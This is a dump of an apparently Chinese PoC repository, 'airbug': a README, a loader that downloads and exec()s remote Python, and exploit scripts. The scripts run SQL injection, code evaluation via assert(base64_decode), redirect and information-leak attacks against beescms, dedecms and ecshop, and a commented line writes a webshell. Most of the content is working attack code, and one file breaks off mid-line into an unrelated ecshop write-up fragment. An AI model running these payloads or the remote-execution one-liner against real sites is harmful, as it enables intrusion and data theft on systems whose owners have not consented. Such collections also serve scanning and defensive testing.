410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # airbug
2 | Airbug(空气洞),一个长期开放用于收集漏洞poc仓库,可用于相关安全产品,亮点是能够在线加载poc并进行验证。
3 |
4 | 所有PoC文件按照一定格式编写,且支持python3.x,为了方便操作,Airbug平台所有网络访问需要使用[黑客们使用的http底层网络库 - hack-requests](https://github.com/boy-hack/hack-requests)引擎编写。
5 |
6 | - 因为使用了`hack-requests`,需要安装 `pip3 install HackRequests`
7 | ## 如何使用
8 | 在安装了`HackRequests`之后,就可以通过一种非常`hack`的方法来使用在线poc
9 | ```bash
10 | python3 -c "exec(__import__('HackRequests').http('https://raw.githubusercontent.com/boy-hack/airbug/master/airbug.py').text())" -u https://x.hacking8.com -r emlog
11 | ```
12 | - `-u` 指定目标
13 | - `-r` 确定cms名称,多个可用逗号分隔
14 |
15 | ### 目录结构
16 | - cms 存放web相关poc
17 | - common 存放通用程序poc
18 | - hardware 存放硬件漏洞poc
19 | - system 存放一些系统和知名程序poc
20 |
21 | ## Poc文件格式
22 | POC插件的格式设计崇尚简单易用,所有内容只需要用`poc(arg,**kwargs)`函数封装即可,不关注其他细节。
23 | - 当poc验证成功时可返回文本或`Ture`或字典,为了返回详细信息,推荐使用字典返回形式
24 | - 若poc验证失败,返回`None`或`False`即可
25 |
26 | ```python
27 | # Author:w8ay
28 | # Name:测试DEMO
29 |
30 | def poc(arg, **kwargs):
31 | result = {
32 | "name": "Demo插件", # 插件名称
33 | "content": "如果这个插件能显示出来,就说明w12scan框架测试成功了", # 插件返回内容详情,会造成什么后果。
34 | "url": arg, # 漏洞存在url
35 | "log": {
36 | "send": "send",
37 | "response": "response"
38 | },
39 | "tag": "demo" # 漏洞标签
40 | }
41 | return result
42 |
43 |
44 | if __name__ == "__main__":
45 | pass
46 |
47 | ```
48 |
49 | ### 参数传递
50 |
51 | 在调用poc函数时,有的poc需要传递多个参数,这里统一约定
52 |
53 | | 序号 | 参数 | 解释 |
54 | | ---- | ---- | ----------- |
55 | | 1 | arg | 传递一个url,格式:http\[s\]://xxx.xx 最后边没有`/` |
56 | | 2 | ip | 传递ip |
57 | | 3 | port | 传递端口 |
58 |
59 | arg参数是必须的,如果有些情况只需要ip和端口,将arg置空,poc中读取ip,port即可,参考[system/iis/iis_webdav.py](system/iis/iis_webdav.py)
60 |
61 | ## 目前遇到的问题&困境
62 | - 期待更多人提交PoC,提交后该PoC便可被在线调用。[Thanks](./thanks.md)
63 | - 参数的不统一,部分PoC需要提供额外参数,这种额外参数以什么形式传递进来,是airbug在线调用遇到问题之一,还未解决。
64 | - 需要使用dnslog验证的漏洞,需要提供一个外部的接口,但我更倾向于选择一个第三方开源且免费的平台(很显然没有),所以可能会自己造轮子。
65 |
66 | ## 参考
67 | - [https://github.com/Lucifer1993/AngelSword](https://github.com/Lucifer1993/AngelSword)
68 | - [https://github.com/vulhub/vulhub](https://github.com/vulhub/vulhub)
69 | - https://github.com/opensec-cn/kunpeng
70 |
--------------------------------------------------------------------------------
/airbug.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # @Time : 2019/6/15 9:15 PM
4 | # @Author : w8ay
5 | # @File : airbug.py
6 | import hashlib
7 | import sys
8 | import json
9 | from concurrent import futures
10 | from importlib import util
11 | from importlib.abc import Loader
12 |
13 | try:
14 | import HackRequests
15 | except ImportError:
16 | print("You must run 'pip3 install HackRequests'")
17 | exit()
18 |
19 | WEB_REPOSITORY = "https://github.com/boy-hack/airbug"
20 | HACK = HackRequests.hackRequests()
21 |
22 |
23 | def get_md5(value):
24 | if isinstance(value, str):
25 | value = value.encode(encoding='UTF-8')
26 | return hashlib.md5(value).hexdigest()
27 |
28 |
29 | def load_string_to_module(code_string, fullname=None):
30 | try:
31 | module_name = 'pocs_{0}'.format(get_md5(code_string)) if fullname is None else fullname
32 | file_path = 'w12scan://{0}'.format(module_name)
33 | poc_loader = PocLoader(module_name, file_path)
34 | poc_loader.set_data(code_string)
35 | spec = util.spec_from_file_location(module_name, file_path, loader=poc_loader)
36 | mod = util.module_from_spec(spec)
37 | spec.loader.exec_module(mod)
38 | return mod
39 |
40 | except ImportError:
41 | error_msg = "load module '{0}' failed!".format(fullname)
42 | print(error_msg)
43 | raise
44 |
45 |
46 | class PocLoader(Loader):
47 | def __init__(self, fullname, path):
48 | self.fullname = fullname
49 | self.path = path
50 | self.data = None
51 |
52 | def set_data(self, data):
53 | self.data = data
54 |
55 | def get_filename(self, fullname):
56 | return self.path
57 |
58 | def get_data(self, filename):
59 | if filename.startswith('w12scan://') and self.data:
60 | data = self.data
61 | else:
62 | with open(filename, encoding='utf-8') as f:
63 | data = f.read()
64 | return data
65 |
66 | def exec_module(self, module):
67 | filename = self.get_filename(self.fullname)
68 | poc_code = self.get_data(filename)
69 | obj = compile(poc_code, filename, 'exec', dont_inherit=True, optimize=-1)
70 | exec(obj, module.__dict__)
71 |
72 |
73 | def load_remote_poc():
74 | middle = "/master"
75 | suffix = "/API.json"
76 | prefix = WEB_REPOSITORY.replace("github.com", "raw.githubusercontent.com")
77 | _api = prefix + middle + suffix
78 | hh = HACK.http(_api)
79 | data = json.loads(hh.text(), encoding='utf-8')
80 | for _ in data:
81 | _["webfile"] = prefix + middle + _["filepath"]
82 | return data
83 |
84 |
85 | def run_airbug(target: str, keywords: list):
86 | PocQueue = []
87 | print("load poc from airbug repository")
88 | pocs = load_remote_poc()
89 | for poc in pocs:
90 | for keyword in keywords:
91 | if keyword.lower() in poc["name"].lower():
92 | webfile = poc["webfile"]
93 | msg = "load {0} poc:{1} poc_time:{2}".format(poc["type"], webfile, poc["time"])
94 | print(msg)
95 | code = HACK.http(webfile).text()
96 | obj = load_string_to_module(code, webfile)
97 | PocQueue.append((target, obj))
98 | print("Start to run poc")
99 | collector = []
100 | if not PocQueue:
101 | msg = "Not found poc {}".format(repr(keywords))
102 | print(msg)
103 | return collector
104 |
105 | executor = futures.ThreadPoolExecutor(len(PocQueue))
106 | fs = []
107 | for target, obj in PocQueue:
108 | fs.append(executor.submit(obj.poc, target))
109 | for f in futures.as_completed(fs):
110 | try:
111 | ret = f.result()
112 | except Exception as e:
113 | ret = None
114 | print("load poc error:{} error:{}".format(target, str(e)))
115 | if ret:
116 | collector.append(ret)
117 | print("over.")
118 | return collector
119 |
120 |
121 | def main():
122 | target = ''
123 | keywords = []
124 | argv = sys.argv
125 | index = 0
126 | msg_help = "help:-u http://xxx.com -r emlog,wordpress"
127 | for arg in argv:
128 | try:
129 | if arg == "-u":
130 | target = argv[index + 1]
131 | if arg == "-r":
132 | keywords = argv[index + 1].split(",")
133 | except IndexError:
134 | print(msg_help)
135 | return
136 | index += 1
137 | if target and keywords:
138 | ret = run_airbug(target, keywords)
139 | if not ret:
140 | print("nothing.")
141 | for i in ret:
142 | print(i)
143 | else:
144 | print(msg_help)
145 |
146 |
147 | main()
148 |
--------------------------------------------------------------------------------
/build.py:
--------------------------------------------------------------------------------
1 | # API生成工具,通过此工具生成json文件的API
2 |
3 | import os
4 | import re
5 | import datetime
6 | import json
7 |
8 |
9 | class direct:
10 | root = os.path.dirname(os.path.realpath(__file__))
11 | hardware = os.path.join(root, "hardware")
12 | cms = os.path.join(root, "cms")
13 | system = os.path.join(root, "system")
14 | common = os.path.join(root, "common")
15 |
16 |
17 | def getType(dirpath):
18 | path = dirpath.replace(os.path.join(direct.root), "").lstrip('/')
19 | try:
20 | index = path.index("/")
21 | return path[:index]
22 | except ValueError:
23 | return path
24 |
25 |
26 | result = []
27 |
28 | walk_directorys = [direct.cms, direct.hardware, direct.system, direct.common]
29 | for walk_direct in walk_directorys:
30 | for dirpath, dirnames, filenames in os.walk(walk_direct):
31 | for file in filenames:
32 | fullpath = os.path.join(dirpath, file)
33 | if fullpath.endswith(".py"):
34 | _fullpath = fullpath.replace(direct.root, "")
35 | typec = getType(dirpath)
36 | pattern = '/{}/(\w+)/'.format(typec)
37 | m = re.match(pattern, _fullpath)
38 | if m:
39 | name = m.group(1)
40 | # print(_fullpath)
41 | timestamp = os.path.getmtime(fullpath)
42 | date = datetime.datetime.fromtimestamp(timestamp)
43 |
44 | _temp = {
45 | "name": name,
46 | "type": typec,
47 | "filepath": _fullpath,
48 | "time": date.strftime('%Y-%m-%d %H:%M:%S')
49 | }
50 | result.append(_temp)
51 |
52 | with open("API.json", "w") as f:
53 | json.dump(result, f, indent=4)
54 |
--------------------------------------------------------------------------------
/cms/beescms/beescms_sqli.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:beescms XFF注入漏洞
3 | import HackRequests
4 |
5 | def poc(arg, **kwargs):
6 | headers = '''
7 | Upgrade-Insecure-Requests:1
8 | User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
9 | X-Forwarded-For: 1.1.1.1' or updatexml(1,concat(0x7e,md5(123),0x7e),1) or '
10 | '''
11 | data = "feed_code=a&_SESSION[code]=a&form_id=5&fields[aaa][nnn]=1111"
12 | vulnurl = arg + "/mx_form/order_save.php"
13 | hh = HackRequests.http(url = vulnurl,post = data,headers = headers)
14 | if hh.status_code == 200 and "202cb962ac59075b964b07152d234b70" in hh.text():
15 | result = {
16 | "name": "beescms XFF注入漏洞", # 插件名称
17 | "content": "X-FORWARDED-FOR注入漏洞,在这里添加注入语句会造成注入", # 插件返回内容详情,会造成什么后果。
18 | "url": vulnurl, # 漏洞存在url
19 | "log": hh.log,
20 | "tag": "sqli" # 漏洞标签
21 | }
22 | return result
23 |
24 |
25 | if __name__ == "__main__":
26 | pass
--------------------------------------------------------------------------------
/cms/dedecms/dedecms_recommend_sqli.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | '''
4 | name: dedecms recommend.php SQL注入
5 | referer: http://blog.csdn.net/change518/article/details/20564207
6 | author: Lucifer
7 | description: 1.首先执行到plus/recommand.php,包含了include/common.inc.php
8 | 2.只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入
9 | 3.在29行处,URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖
10 | 4.回到recommand.php中,注入语句被带入数据库查询
11 | '''
12 | import HackRequests
13 |
14 | def poc(arg, **kwargs):
15 | headers = {
16 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
17 | }
18 | payload = "/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5c%27AnD+ChAr(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,md5(1234),5,6,7,8,9%20FrOm%20`%23@__admin`%23"
19 | vulnurl = arg + payload
20 | hh = HackRequests.hackRequests()
21 | try:
22 | r = hh.http(vulnurl,headers=headers)
23 |
24 | if r"81dc9bdb52d04dc20036dbd8313ed055" in r.text():
25 | result = {
26 | "name": "dedecms recommend sql注入", # 插件名称
27 | "content": '''1.首先执行到plus/recommand.php,包含了include/common.inc.php
28 | 2.只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入
29 | 3.在29行处,URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖
30 | 4.回到recommand.php中,注入语句被带入数据库查询''', # 插件返回内容详情,会造成什么后果。
31 | "url": vulnurl, # 漏洞存在url
32 | "log": r.log,
33 | "tag": "sql_inject" # 漏洞标签
34 | }
35 | return result
36 |
37 | except:
38 | return False
39 |
--------------------------------------------------------------------------------
/cms/dedecms/dedecms_redirect.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | '''
4 | name: dedecms download.php重定向漏洞
5 | referer: http://skyhome.cn/dedecms/357.html
6 | author: Lucifer
7 | description: 在dedecms 5.7sp1的/plus/download.php中67行存在的代码,即接收参数后未进行域名的判断就进行了跳转。
8 | '''
9 | import HackRequests
10 |
11 | def poc(arg, **kwargs):
12 | headers = {
13 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
14 | }
15 | payload = "/plus/download.php?open=1&link=aHR0cHM6Ly93d3cuYmFpZHUuY29t"
16 | vulnurl = arg + payload
17 | hh = HackRequests.hackRequests()
18 | try:
19 | r = hh.http(vulnurl,headers=headers)
20 |
21 | if r"www.baidu.com" in r.text():
22 | result = {
23 | "name": "dedecms download.php重定向", # 插件名称
24 | "content": "在dedecms 5.7sp1的/plus/download.php中67行存在的代码,即接收参数后未进行域名的判断就进行了跳转。", # 插件返回内容详情,会造成什么后果。
25 | "url": vulnurl, # 漏洞存在url
26 | "log": r.log,
27 | "tag": "redirect" # 漏洞标签
28 | }
29 | return result
30 |
31 | except:
32 | return False
33 |
--------------------------------------------------------------------------------
/cms/dedecms/dedecms_search_sqli.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | '''
4 | name: dedecms search.php SQL注入漏洞
5 | referer: http://0daysec.blog.51cto.com/9327043/1571372
6 | author: Lucifer
7 | description: dedecms /plus/search.php typeArr存在SQL注入,由于有的waf会拦截自行构造EXP。
8 | '''
9 | import HackRequests
10 |
11 | def poc(arg, **kwargs):
12 | headers = {
13 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
14 | }
15 | payload = "/plus/search.php?keyword=test&typeArr[%20uNion%20]=a"
16 | vulnurl = arg + payload
17 | hh = HackRequests.hackRequests()
18 | try:
19 | r = hh.http(vulnurl,headers=headers)
20 |
21 | if r"Error infos" in r.text() and "Error sql" in r.text():
22 | result = {
23 | "name": "dedecms search.php sql注入", # 插件名称
24 | "content": 'dedecms /plus/search.php typeArr存在SQL注入,由于有的waf会拦截自行构造EXP。', # 插件返回内容详情,会造成什么后果。
25 | "url": vulnurl, # 漏洞存在url
26 | "log": r.log,
27 | "tag": "sql_inject" # 漏洞标签
28 | }
29 | return result
30 |
31 | except:
32 | return False
33 |
--------------------------------------------------------------------------------
/cms/dedecms/dedecms_shortpath.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | '''
4 | name: dedecms 短文件名漏洞
5 | referer: https://www.t00ls.net/thread-48499-1-1.html
6 | author: w8ay
7 | description: 短文件名->apache+windows长文件名可用前6个字符+"~1".ext
8 | '''
9 | import HackRequests
10 |
11 |
12 | def poc(arg, **kwargs):
13 | headers = {
14 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
15 | }
16 | payloads = ['/data/backupdata/dede_h~', '/data/backupdata/dede_m~', '/data/backupdata/dede_p~',
17 | '/data/backupdata/dede_a~', '/data/backupdata/dede_s~']
18 | hh = HackRequests.hackRequests()
19 | result = {}
20 | for payload in payloads:
21 | for number in range(1, 5):
22 | testurl = arg.strip() + payload + str(number) + ".txt"
23 | r = hh.http(testurl, headers=headers)
24 | html = r.text()
25 | if r.status_code == 200 and ("admin" in html or "密码" in html):
26 | result["name"] = "dedecms 备份数据库泄露"
27 | result["content"] = "服务器用了apache+windows配置,长文件可用前6个字符+~1.ext查找下载"
28 | result["url"] = testurl
29 | result["log"] = r.log
30 | result["tag"] = "info_leak"
31 | return result
32 |
--------------------------------------------------------------------------------
/cms/dedecms/dedecms_trace.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | '''
4 | name: dedecms trace爆路径漏洞
5 | referer: http://0daysec.blog.51cto.com/9327043/1571372
6 | author: Lucifer
7 | description: 访问mysql_error_trace.inc,mysql trace报错路径泄露。
8 | '''
9 | import HackRequests
10 |
11 | def poc(arg, **kwargs):
12 | headers = {
13 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
14 | }
15 | payload = "/data/mysql_error_trace.inc"
16 | vulnurl = arg + payload
17 | hh = HackRequests.hackRequests()
18 | try:
19 | r = hh.http(vulnurl,headers=headers)
20 |
21 | if r.status_code == 200 and r" sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
35 | "id" => $id
36 | ];
37 |
38 | $s = serialize($arr);
39 |
40 | $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
41 | $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
42 |
43 | echo "POC for ECShop 2.x: \n";
44 | echo "{$hash2}ads|{$s}{$hash2}";
45 | echo "\n\nPOC for ECShop 3.x: \n";
46 | echo "{$hash3}ads|{$s}{$hash3}";
47 | ```
48 |
49 | 生成的POC,放在Referer里发送:
50 |
51 | ```
52 | GET /user.php?act=login HTTP/1.1
53 | Host: your-ip
54 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
55 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
56 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
57 | Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
58 | Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
59 | Connection: close
60 | Upgrade-Insecure-Requests: 1
61 | Cache-Control: max-age=0
62 |
63 |
64 | ```
65 |
66 | 2.x的执行结果
67 |
68 | 
69 |
70 | 3.x的执行结果:
71 |
72 | 
73 |
--------------------------------------------------------------------------------
/cms/ecshop/xianzhi-2017-02-82239600/ecshop_code_eval.py:
--------------------------------------------------------------------------------
1 | # 支持自定义php代码和2.x 3.x POC
2 | # 参考:
3 | # https://www.t00ls.net/viewthread.php?tid=47520&highlight=ecshop
4 | # https://www.t00ls.net/viewthread.php?tid=47592&highlight=ecshop
5 | # https://github.com/vulhub/vulhub
6 |
7 | import HackRequests
8 | import base64
9 |
10 |
11 | def buildpoc(version:int = 2):
12 | # php_souce = b"""file_put_contents('xxxx.php','');""" # 写入webshell
13 | php_souce = b'''phpinfo();'''
14 | php_souce_b64 = base64.b64encode(php_souce).decode("utf8")
15 | poc_tmp = "{$asd'];assert(base64_decode('%s'));//}xxx" % (php_souce_b64)
